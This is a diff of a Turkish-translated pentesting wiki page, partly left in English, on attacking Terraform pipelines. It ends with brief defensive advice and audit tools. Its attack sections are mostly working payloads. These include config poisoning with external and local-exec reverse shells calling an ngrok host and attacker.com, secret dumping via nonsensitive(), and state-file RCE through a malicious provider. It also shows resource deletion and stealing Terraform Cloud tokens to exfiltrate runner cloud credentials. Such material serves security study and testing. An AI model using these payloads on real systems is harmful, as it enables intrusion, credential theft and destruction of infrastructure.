diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 603531078..bd02e7efc 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -4,65 +4,65 @@ ## Temel Bilgiler -[Belgelerden:](https://developer.hashicorp.com/terraform/intro) +[From the docs:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform, **kod olarak altyapı aracı** olup, hem **bulut hem de yerel kaynakları** insan tarafından okunabilir yapılandırma dosyalarında tanımlamanıza olanak tanır; bu dosyaları sürümleyebilir, yeniden kullanabilir ve paylaşabilirsiniz. Daha sonra, altyapınızın yaşam döngüsü boyunca tüm altyapınızı sağlamak ve yönetmek için tutarlı bir iş akışı kullanabilirsiniz. Terraform, hesaplama, depolama ve ağ kaynakları gibi düşük seviyeli bileşenleri yönetebildiği gibi, DNS girişleri ve SaaS özellikleri gibi yüksek seviyeli bileşenleri de yönetebilir. +HashiCorp Terraform, sürümlenebilir, yeniden kullanılabilir ve paylaşılabilir insan tarafından okunabilir yapılandırma dosyalarında hem bulut hem de kurum içi kaynakları tanımlamanıza izin veren bir **infrastructure as code tool**'dur. Ardından, tüm altyapınızı yaşam döngüsü boyunca sağlamak ve yönetmek için tutarlı bir iş akışı kullanabilirsiniz. Terraform, compute, storage ve networking gibi düşük seviyeli bileşenlerin yanı sıra DNS girdileri ve SaaS özellikleri gibi yüksek seviyeli bileşenleri de yönetebilir. #### Terraform nasıl çalışır? -Terraform, bulut platformlarında ve diğer hizmetlerde kaynakları uygulama programlama arayüzleri (API'ler) aracılığıyla oluşturur ve yönetir. Sağlayıcılar, Terraform'un erişilebilir bir API'ye sahip olan hemen hemen her platform veya hizmetle çalışmasını sağlar. +Terraform, bulut platformlarında ve diğer hizmetlerde kaynakları onların uygulama programlama arayüzleri (API'ler) aracılığıyla oluşturur ve yönetir. Providers, Terraform'un erişilebilir bir API'ye sahip neredeyse her platform veya hizmetle çalışmasını sağlar. ![](<../images/image (177).png>) -HashiCorp ve Terraform topluluğu, farklı türdeki binlerce kaynak ve hizmeti yönetmek için **1700'den fazla sağlayıcı** yazmıştır ve bu sayı artmaya devam etmektedir. Tüm kamuya açık sağlayıcıları [Terraform Registry](https://registry.terraform.io/) üzerinde bulabilirsiniz; bunlar arasında Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha birçokları bulunmaktadır. +HashiCorp ve Terraform topluluğu, binlerce farklı kaynak ve hizmet türünü yönetmek için **1700'den fazla provider** yazdı ve bu sayı artmaya devam ediyor. Tüm herkese açık provider'ları [Terraform Registry](https://registry.terraform.io/) üzerinde bulabilirsiniz; örneğin Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog ve daha fazlası. -Temel Terraform iş akışı üç aşamadan oluşur: +Terraform'ın temel iş akışı üç aşamadan oluşur: -- **Yaz:** Birden fazla bulut sağlayıcısı ve hizmet arasında olabilecek kaynakları tanımlarsınız. Örneğin, güvenlik grupları ve bir yük dengeleyici ile sanal özel bulut (VPC) ağında bir uygulama dağıtmak için bir yapılandırma oluşturabilirsiniz. -- **Planla:** Terraform, mevcut altyapı ve yapılandırmanıza dayanarak oluşturacağı, güncelleyeceği veya yok edeceği altyapıyı tanımlayan bir yürütme planı oluşturur. -- **Uygula:** Onaylandığında, Terraform, kaynak bağımlılıklarına saygı göstererek önerilen işlemleri doğru sırayla gerçekleştirir. Örneğin, bir VPC'nin özelliklerini güncelleyip o VPC'deki sanal makine sayısını değiştirirseniz, Terraform, sanal makineleri ölçeklendirmeden önce VPC'yi yeniden oluşturur. +- **Write:** Kaynakları tanımlarsınız; bunlar birden fazla cloud provider ve hizmeti kapsayabilir. Örneğin, güvenlik grupları ve bir load balancer ile bir Virtual Private Cloud (VPC) ağında sanal makineler üzerinde bir uygulama dağıtmak için bir konfigürasyon oluşturabilirsiniz. +- **Plan:** Terraform, mevcut altyapı ve konfigürasyonunuz temelinde oluşturacağı, güncelleyeceği veya sileceği altyapıyı tanımlayan bir yürütme planı oluşturur. +- **Apply:** Onaylandığında, Terraform önerilen işlemleri doğru sırada, herhangi bir kaynak bağımlılığını gözeterek gerçekleştirir. Örneğin, bir VPC'nin özelliklerini güncellerseniz ve o VPC'deki sanal makine sayısını değiştirirseniz, Terraform VPC'yi yeniden oluşturduktan sonra sanal makineleri ölçeklendirir. ![](<../images/image (215).png>) -### Terraform Laboratuvarı +### Terraform Lab -Bilgisayarınıza terraform'u kurun. +Sadece bilgisayarınıza terraform'u kurun. -Burada bir [kılavuz](https://learn.hashicorp.com/tutorials/terraform/install-cli) ve burada terraform'u indirmenin [en iyi yolu](https://www.terraform.io/downloads) var. +Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads). -## Terraform'da RCE: yapılandırma dosyası zehirlenmesi +## RCE in Terraform: config file poisoning -Terraform'un **bir web sayfası veya ağ hizmeti sunan bir platformu yoktur** ki bunu sayabiliriz, bu nedenle terraform'u tehlikeye atmanın tek yolu **terraform yapılandırma dosyalarını eklemek/değiştirmek** veya **terraform durum dosyasını değiştirmek** (aşağıdaki bölüme bakın) olacaktır. +Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below). -Ancak, terraform, **farklı konumlara ayrıcalıklı erişim** sağlayacağı için tehlikeye atılması **çok hassas bir bileşendir**. +Ancak, terraform doğru şekilde çalışabilmesi için farklı konumlara **ayrıcalıklı erişime** sahip olacağından, ele geçirildiğinde çok **hassas bir bileşen** olur. -Bir saldırganın terraform'un çalıştığı sistemi tehlikeye atabilmesinin ana yolu, **terraform yapılandırmalarını depolayan depoyu tehlikeye atmaktır**, çünkü bir noktada bunlar **yorumlanacaktır**. +Bir saldırganın terraform'un çalıştığı sistemi ele geçirebilmesi için en yaygın yol, terraform konfigürasyonlarını depolayan repository'yi ele geçirmektir; çünkü eninde sonunda bu konfigürasyonlar **yorumlanacaktır**. -Aslında, bir PR oluşturulduktan sonra **terraform plan/uygula** işlemlerini otomatik olarak gerçekleştiren çözümler mevcuttur, örneğin **Atlantis**: +Aslında, bir PR oluşturulduktan sonra `terraform plan`/`apply` işlemlerini otomatik olarak çalıştıran çözümler bulunmaktadır; örneğin **Atlantis**: {{#ref}} atlantis-security.md {{#endref}} -Bir terraform dosyasını tehlikeye atabiliyorsanız, birisi `terraform plan` veya `terraform apply` komutunu çalıştırdığında RCE gerçekleştirmek için farklı yollar vardır. +Eğer bir terraform dosyasını ele geçirebilirseniz, birisi `terraform plan` veya `terraform apply` çalıştırdığında RCE gerçekleştirebileceğiniz farklı yollar vardır. -### Terraform planı +### Terraform plan -Terraform plan, terraform'da **en çok kullanılan komut** olup, terraform kullanan geliştiriciler/çözümler bunu sürekli olarak çağırır, bu nedenle **RCE elde etmenin en kolay yolu**, `terraform plan` sırasında rastgele komutlar çalıştıracak bir terraform yapılandırma dosyasını zehirlemektir. +Terraform plan, terraform'da en **çok kullanılan komuttur** ve terraform kullanan geliştiriciler/çözümler bunu sürekli çağırır; bu yüzden **RCE elde etmenin en kolay yolu**, bir `terraform plan` sırasında rastgele komutlar çalıştıracak şekilde bir terraform konfigürasyon dosyasını zehirlemektir. -**Dış sağlayıcı kullanarak** +**Using an external provider** -Terraform, Terraform ile dış programlar arasında arayüz sağlamak için [`external` sağlayıcısını](https://registry.terraform.io/providers/hashicorp/external/latest/docs) sunar. `plan` sırasında rastgele kod çalıştırmak için `external` veri kaynağını kullanabilirsiniz. +Terraform, Terraform ile harici programlar arasında arayüz sağlamaya yarayan [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) sunar. `external` data source'unu bir `plan` sırasında rastgele kod çalıştırmak için kullanabilirsiniz. -Bir terraform yapılandırma dosyasına aşağıdaki gibi bir şey enjekte etmek, `terraform plan` çalıştırıldığında bir rev shell çalıştıracaktır: +Bir terraform konfigürasyon dosyasına aşağıdakine benzer bir şey enjekte etmek, `terraform plan` çalıştırıldığında bir rev shell çalıştıracaktır: ```javascript data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` -**Özel bir sağlayıcı kullanma** +**Özel provider kullanımı** -Bir saldırgan, [özel bir sağlayıcı](https://learn.hashicorp.com/tutorials/terraform/provider-setup) gönderebilir ve ardından bunu bir özellik dalında Terraform koduna ekleyebilir ([buradan örnek](https://alex.kaskaso.li/post/terraform-plan-rce)): +Bir saldırgan, [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup)'ı [Terraform Registry](https://registry.terraform.io/)'ye gönderebilir ve sonra bunu bir özellik dalındaki Terraform koduna ekleyebilir ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -75,28 +75,28 @@ version = "1.0" provider "evil" {} ``` -Sağlayıcı `init` sırasında indirilir ve `plan` çalıştırıldığında kötü niyetli kodu çalıştırır. +Provider `init` sırasında indirilir ve `plan` çalıştırıldığında kötü amaçlı kodu çalıştırır -Bir örneği [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) adresinde bulabilirsiniz. +Bir örneğini şu adreste bulabilirsiniz: [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) -**Dış bir referans kullanma** +**Harici bir referans kullanma** -Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değildir (ikincisi birincisinden daha gizli ama daha karmaşıktır). Bu saldırıyı **daha gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek: +Bahsedilen her iki seçenek de faydalıdır ancak çok gizli değiller (ikincisi birinciden daha gizli fakat daha karmaşıktır). Bu saldırıyı aşağıdaki önerileri izleyerek daha **gizli** bir şekilde gerçekleştirebilirsiniz: -- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell'i içeren **dış bir kaynağı** yükleyebilirsiniz: +- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell içeren bir **harici kaynak yükleyebilirsiniz**: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -Rev shell kodunu [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) adresinde bulabilirsiniz. +You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- Dış kaynakta, **ref** özelliğini kullanarak repo içindeki **bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- Harici kaynakta, repodaki bir branch içine **terraform rev shell code in a branch**'i gizlemek için **ref** özelliğini kullanın, örneğin: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır, ayrıca **kötü niyetli bir Terraform dosyasını** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** ile RCE elde etmek için de kötüye kullanabilirsiniz.**\ -Sadece aşağıdaki gibi bir yükün `main.tf` dosyasında sona erdiğinden emin olmanız gerekir: +Terraform apply, tüm değişiklikleri uygulamak için çalıştırılacaktır; ayrıca RCE elde etmek için **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +Tek yapmanız gereken, aşağıdakiler gibi bazı payload'ların `main.tf` dosyasında sonlanmasını sağlamaktır: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -112,27 +112,27 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Önceki teknikten **önerileri takip ederek**, bu saldırıyı **dış referanslar kullanarak daha gizli bir şekilde** gerçekleştirin. +Önceki tekniğin **önerilerini** izleyin ve bu saldırıyı **harici referanslar kullanarak daha gizli bir şekilde** gerçekleştirin. -## Gizli Bilgiler Dökümü +## Secrets Dumps -`terraform apply` komutunu çalıştırarak **terraform tarafından kullanılan gizli değerlerin dökülmesini** sağlamak için terraform dosyasına şu şekilde bir şey ekleyebilirsiniz: +`terraform apply` çalıştırarak terraform tarafından kullanılan **gizli değerlerin dökülmesini** sağlayabilirsiniz; terraform dosyasına şu gibi bir şey ekleyerek: ```json output "dotoken" { value = nonsensitive(var.do_token) } ``` -## Terraform Durum Dosyalarını Kötüye Kullanma +## Terraform State Dosyalarını Kötüye Kullanma -Terraform durum dosyaları üzerinde yazma erişiminiz varsa ancak terraform kodunu değiştiremiyorsanız, [**bu araştırma**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) dosyadan yararlanmak için bazı ilginç seçenekler sunmaktadır. Konfigürasyon dosyaları üzerinde yazma erişiminiz olsa bile, durum dosyalarının vektörünü kullanmak genellikle daha sinsi bir yöntemdir, çünkü `git` geçmişinde iz bırakmazsınız. +Eğer terraform state dosyaları üzerinde yazma izniniz varsa ancak terraform kodunu değiştiremiyorsanız, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) dosyadan faydalanmak için bazı ilginç seçenekler sunuyor. Konfigürasyon dosyaları üzerinde yazma izniniz olsa bile, state dosyaları vektörünü kullanmak genellikle çok daha sinsidir; `git` geçmişinde iz bırakmazsınız. -### Terraform'da RCE: konfigürasyon dosyası zehirleme +### RCE in Terraform: config file poisoning -Kötü niyetli bir sağlayıcı ile terraform durum dosyasındaki sağlayıcılardan birini değiştirmek veya kötü niyetli sağlayıcıyı referans alan sahte bir kaynak eklemek için [özel bir sağlayıcı oluşturmak](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) mümkündür. +It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider. -Sağlayıcı [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) bu araştırmaya dayanmakta ve bu prensibi silahlandırmaktadır. Sahte bir kaynak ekleyebilir ve çalıştırmak istediğiniz keyfi bash komutunu `command` niteliğinde belirtebilirsiniz. `terraform` çalıştırıldığında, bu hem `terraform plan` hem de `terraform apply` adımlarında okunacak ve yürütülecektir. `terraform apply` adımında, `terraform` komutunuzu çalıştırdıktan sonra sahte kaynağı durum dosyasından silecektir, böylece kendi arkasını temizlemiş olur. Daha fazla bilgi ve tam bir demo, bu sağlayıcının kaynak kodunu barındıran [GitHub deposunda](https://github.com/offensive-actions/terraform-provider-statefile-rce) bulunabilir. +The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce). -Doğrudan kullanmak için, `resources` dizisinin herhangi bir konumuna aşağıdakileri ekleyin ve `name` ve `command` niteliklerini özelleştirin: +To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes: ```json { "mode": "managed", @@ -152,15 +152,15 @@ Doğrudan kullanmak için, `resources` dizisinin herhangi bir konumuna aşağıd ] } ``` -Sonra, `terraform` çalıştırıldığında, kodunuz çalışacaktır. +Sonrasında, `terraform` çalıştırılır çalıştırılmaz kodunuz çalışır. -### Kaynakları Silme +### Kaynakları silme -Kaynakları yok etmenin 2 yolu vardır: +Kaynakları silmenin 2 yolu vardır: -1. **Gerçek yok edilecek kaynağa işaret eden rastgele bir isimle durumu dosyasına bir kaynak ekleyin** +1. **Yok edilecek gerçek kaynağa işaret eden rastgele isimli bir kaynağı state dosyasına ekleyin** -Çünkü terraform, kaynağın mevcut olmaması gerektiğini görecektir, bu yüzden onu yok edecektir (belirtilen gerçek kaynak kimliğini takip ederek). Önceki sayfadan örnek: +Çünkü `terraform` kaynağın var olmaması gerektiğini görecek ve onu (belirtilen gerçek resource ID'sine göre) yok edecektir. Önceki sayfadan örnek: ```json { "mode": "managed", @@ -176,13 +176,13 @@ Kaynakları yok etmenin 2 yolu vardır: ] }, ``` -2. **Kaynağı, güncellenemeyecek şekilde silmek için değiştirin (bu nedenle silinip yeniden oluşturulacak)** +2. **Kaynağı, güncellenemeyecek şekilde değiştirin (böylece silinip yeniden oluşturulacak)** -Bir EC2 örneği için, örneğin türünü değiştirmek, terraform'un onu silip yeniden oluşturması için yeterlidir. +Bir EC2 instance'ı için, instance türünü değiştirmek terraform'un onu silip yeniden oluşturmasına yeterlidir. -### Kara listeye alınmış sağlayıcıyı değiştir +### Kara listeye alınmış provider'ı değiştir -`hashicorp/external` kara listeye alındığında karşılaştığınız bir durumda, `external` sağlayıcısını aşağıdakileri yaparak yeniden uygulayabilirsiniz. Not: https://registry.terraform.io/providers/nazarewk/external/latest adresinde yayınlanan bir external sağlayıcı çatalını kullanıyoruz. Kendi çatalınızı veya yeniden uygulamanızı da yayınlayabilirsiniz. +`hashicorp/external` kara listeye alınmış bir durumla karşılaşırsanız, aşağıdakileri yaparak `external` provider'ı yeniden uygulayabilirsiniz. Not: Biz https://registry.terraform.io/providers/nazarewk/external/latest adresinde yayınlanan external provider'ın bir fork'unu kullanıyoruz. Kendi fork'unuzu veya yeniden uygulamanızı da yayınlayabilirsiniz. ```terraform terraform { required_providers { @@ -193,27 +193,27 @@ version = "3.0.0" } } ``` -Sonra `external`'ı normal şekilde kullanabilirsiniz. +Sonra normal olduğu gibi `external` kullanabilirsiniz. ```terraform data "external" "example" { program = ["sh", "-c", "whoami"] } ``` -## Terraform Cloud spekülatif plan RCE ve kimlik bilgisi sızdırma +## Terraform Cloud speculative plan RCE and credential exfiltration -Bu senaryo, hedef bulut hesabına geçiş yapmak için spekülatif planlar sırasında Terraform Cloud (TFC) koşucularını istismar eder. +Bu senaryo, Terraform Cloud (TFC) runner'larını speculative plans sırasında kullanarak hedef cloud hesabına pivot yapar. -- Ön koşullar: -- Bir geliştirici makinesinden bir Terraform Cloud token'ı çalın. CLI, token'ları düz metin olarak `~/.terraform.d/credentials.tfrc.json` dosyasında saklar. -- Token, hedef organizasyona/çalışma alanına erişime ve en az `plan` iznine sahip olmalıdır. VCS destekli çalışma alanları, CLI'dan `apply`'i engeller, ancak yine de spekülatif planlara izin verir. +- Önkoşullar: +- Geliştirici bir makineden Terraform Cloud token'ı çalın. CLI token'ları düz metin olarak `~/.terraform.d/credentials.tfrc.json` içinde saklar. +- Token, hedef organization/workspace'a erişimi olmalı ve en az `plan` yetkisine sahip olmalıdır. VCS-backed workspaces CLI'dan `apply`'ı engeller, ancak hâlâ speculative plans'e izin verir. -- TFC API aracılığıyla çalışma alanı ve VCS ayarlarını keşfedin: +- Workspace ve VCS ayarlarını TFC API üzerinden keşfedin: ```bash export TF_TOKEN= curl -s -H "Authorization: Bearer $TF_TOKEN" \ https://app.terraform.io/api/v2/organizations//workspaces/ | jq ``` -- Dış veri kaynağını ve Terraform Cloud "cloud" bloğunu kullanarak VCS destekli çalışma alanını hedeflemek için spekülatif bir plan sırasında kod yürütmesini tetikleyin: +- VCS-backed workspace'ı hedeflemek için external data source ve Terraform Cloud "cloud" bloğunu kullanarak speculative plan sırasında code execution tetikleyin: ```hcl terraform { cloud { @@ -226,30 +226,30 @@ data "external" "exec" { program = ["bash", "./rsync.sh"] } ``` -TFC çalıştırıcısında ters bir shell elde etmek için örnek rsync.sh: +TFC runner üzerinde reverse shell elde etmek için örnek rsync.sh: ```bash #!/usr/bin/env bash bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1' ``` -Geçici çalıştırıcıda programı çalıştırmak için spekülatif bir plan yürütün: +Geçici runner üzerinde programı çalıştırmak için spekülatif bir plan çalıştır: ```bash terraform init terraform plan ``` -- Koşucudan enjekte edilmiş bulut kimlik bilgilerini listeleyin ve dışarı aktarın. Çalışmalar sırasında, TFC sağlayıcı kimlik bilgilerini dosyalar ve ortam değişkenleri aracılığıyla enjekte eder: +- Runner'dan enjekte edilmiş cloud credentials'leri enumerate ve exfiltrate edin. Çalışma sırasında, TFC provider credentials'leri files ve environment variables aracılığıyla inject eder: ```bash env | grep -i gcp || true env | grep -i aws || true ``` -Beklenen dosyalar çalıştırıcı çalışma dizininde: +Runner çalışma dizininde beklenen dosyalar: - GCP: -- `tfc-google-application-credentials` (İş Yükü Kimliği Federasyonu JSON yapılandırması) -- `tfc-gcp-token` (kısa ömürlü GCP erişim belirteci) +- `tfc-google-application-credentials` (Workload Identity Federation JSON yapılandırması) +- `tfc-gcp-token` (kısa ömürlü GCP erişim tokenı) - AWS: -- `tfc-aws-shared-config` (web kimliği/OIDC rolü varsayım yapılandırması) -- `tfc-aws-token` (kısa ömürlü belirteç; bazı kuruluşlar statik anahtarlar kullanabilir) +- `tfc-aws-shared-config` (web identity/OIDC rol devralma yapılandırması) +- `tfc-aws-token` (kısa ömürlü token; bazı kuruluşlar statik anahtarlar kullanabilir) -- VCS kapılarını atlamak için kısa ömürlü kimlik bilgilerini dışarıdan kullanın: +- VCS gate'lerini atlatmak için kısa ömürlü kimlik bilgilerini out-of-band kullanın: GCP (gcloud): ```bash @@ -263,27 +263,54 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config export AWS_PROFILE=default aws sts get-caller-identity ``` -Bu kimlik bilgileriyle, saldırganlar kaynakları doğrudan yerel CLI'lar kullanarak oluşturabilir/değiştirebilir/yıkabilir ve VCS aracılığıyla `apply`'i engelleyen PR tabanlı iş akışlarını atlayabilirler. +With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS. -- Savunma rehberi: -- TFC kullanıcıları/takımları ve token'lar için en az ayrıcalık ilkesini uygulayın. Üyelikleri denetleyin ve aşırı büyük sahiplerden kaçının. -- Mümkünse, hassas VCS destekli çalışma alanlarında `plan` iznini kısıtlayın. -- `data "external"` veya bilinmeyen sağlayıcıları engellemek için Sentinel politikaları ile sağlayıcı/veri kaynağı beyaz listelerini zorlayın. Sağlayıcı filtreleme ile ilgili HashiCorp rehberine bakın. -- Statik bulut kimlik bilgileri yerine OIDC/WIF'yi tercih edin; koşucuları hassas olarak değerlendirin. Spekülatif plan çalıştırmalarını ve beklenmedik çıkışları izleyin. -- `tfc-*` kimlik bilgisi nesnelerinin dışa aktarımını tespit edin ve planlar sırasında şüpheli `external` program kullanımında uyarı verin. +- Savunma önerileri: +- TFC kullanıcıları/takımları ve tokenlar için en az ayrıcalık ilkesini uygulayın. Üyelikleri denetleyin ve aşırı geniş sahiplikteki hesaplardan kaçının. +- Mümkünse hassas VCS-backed workspaces'lerde `plan` iznini kısıtlayın. +- Sentinel politikalarıyla provider/data source allowlist'lerini uygulayarak `data "external"` veya bilinmeyen provider'ları engelleyin. Provider filtreleme konusunda HashiCorp rehberine bakın. +- Statik cloud kimlik bilgileri yerine OIDC/WIF'i tercih edin; runners'ları hassas kabul edin. Spekülatif plan çalıştırmalarını ve beklenmeyen egress'i izleyin. +- `tfc-*` credential artifacts exfiltration'ını tespit edin ve planlar sırasında şüpheli `external` program kullanımında uyarı verin. -## Otomatik Denetim Araçları -### [**Snyk Altyapı Kod Olarak (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) +## Terraform Cloud'un ele geçirilmesi -Snyk, Terraform, CloudFormation, Kubernetes ve diğer IaC formatlarındaki güvenlik açıklarını ve yanlış yapılandırmaları tespit eden kapsamlı bir Altyapı Kod Olarak (IaC) tarama çözümü sunar. +### Token kullanımı -- **Özellikler:** -- Güvenlik açıkları ve uyumluluk sorunları için gerçek zamanlı tarama. -- Versiyon kontrol sistemleri (GitHub, GitLab, Bitbucket) ile entegrasyon. -- Otomatik düzeltme çekme istekleri. -- Ayrıntılı düzeltme tavsiyeleri. -- **Kaydolun:** [Snyk](https://snyk.io/) üzerinde bir hesap oluşturun. +As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the token’s scope. + +Using this token it's possible to get the org/workspace with: +```bash +GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod +Authorization: Bearer +``` +Böylece önceki bölümde açıklandığı gibi **`terraform plan`** kullanılarak rastgele kod çalıştırmak mümkün olur. + +### Escaping to the cloud + +Eğer runner bir cloud ortamında bulunuyorsa, runner'a bağlı principal'in bir token'ını elde etmek ve bunu kanal dışı kullanmak mümkün olur. + +- **GCP files (present in current run working directory)** +- `tfc-google-application-credentials` — Workload Identity Federation(WIF) için Google'a dış kimliği nasıl değiş tokuş edeceğini söyleyen JSON yapılandırması. +- `tfc-gcp-token` — yukarıda bahsedileni referans alan kısa ömürlü (≈1 saat) GCP erişim token'ı + +- **AWS files** +- `tfc-aws-shared-config` — web identity federation/OIDC rol üstlenme için JSON (statik anahtarlara tercih edilir). +- `tfc-aws-token` — kısa ömürlü token, veya yanlış yapılandırıldığında potansiyel olarak statik IAM anahtarları. + + +## Automatic Audit Tools + +### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) + +Snyk, Terraform, CloudFormation, Kubernetes ve diğer IaC formatlarındaki zayıflıkları ve yanlış yapılandırmaları tespit eden kapsamlı bir Infrastructure as Code (IaC) tarama çözümü sunar. + +- **Features:** +- Güvenlik zafiyetleri ve uyumluluk sorunları için gerçek zamanlı tarama. +- Sürüm kontrol sistemleriyle entegrasyon (GitHub, GitLab, Bitbucket). +- Otomatik düzeltme pull request'leri. +- Detaylı düzeltme önerileri. +- **Sign Up:** Create an account on [Snyk](https://snyk.io/). ```bash brew tap snyk/tap brew install snyk @@ -292,28 +319,28 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov**, altyapı kodu (IaC) için bir statik kod analiz aracıdır ve ayrıca görüntüler ve açık kaynak paketleri için bir yazılım bileşen analizi (SCA) aracıdır. +**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages. -[Terraform](https://terraform.io/) kullanılarak sağlanan bulut altyapısını, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) veya [OpenTofu](https://opentofu.org/) tarar ve grafik tabanlı tarama kullanarak güvenlik ve uyum yanlış yapılandırmalarını tespit eder. +It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning. -Açık kaynak paketleri ve görüntüleri için Ortak Güvenlik Açıkları ve Maruziyetler (CVE'ler) taraması olan [Yazılım Bileşen Analizi (SCA) taraması](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) gerçekleştirir. +It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for 